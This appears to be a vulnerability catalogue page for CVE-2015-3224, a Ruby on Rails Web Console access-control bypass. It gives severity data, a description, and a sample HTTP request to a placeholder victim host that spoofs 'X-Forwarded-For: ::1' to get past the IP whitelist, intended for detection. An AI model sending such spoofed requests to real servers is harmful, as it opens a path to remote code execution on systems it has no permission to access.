🔙 목록으로 돌아가기

CVE-2015-3224: Ruby on Rails Web Console - Remote Code Execution

TitleRuby on Rails Web Console - Remote Code Execution
Authorpdteam
SeverityMedium
ImpactRemote code execution can lead to unauthorized access, data breaches, and complete compromise of the affected system.
RemediationUpgrade to a patched version of Ruby on Rails or disable the Web Console feature.
CVSS Score4.3
EPSS Score0.85262
CVE IDCVE-2015-3224
CWE IDCWE-284
Tags cve2015 cve ruby hackerone rce rails intrusive rubyonrails vuln

🔍 Vulnerability Description

Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client’s IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb.

🌐 HTTP Request

GET /38FiTkmV80XSgsjXipnTGGiXDqh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
Connection: close
Accept: */*
Accept-Language: en
X-Forwarded-For: ::1
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-3224.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-3224.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A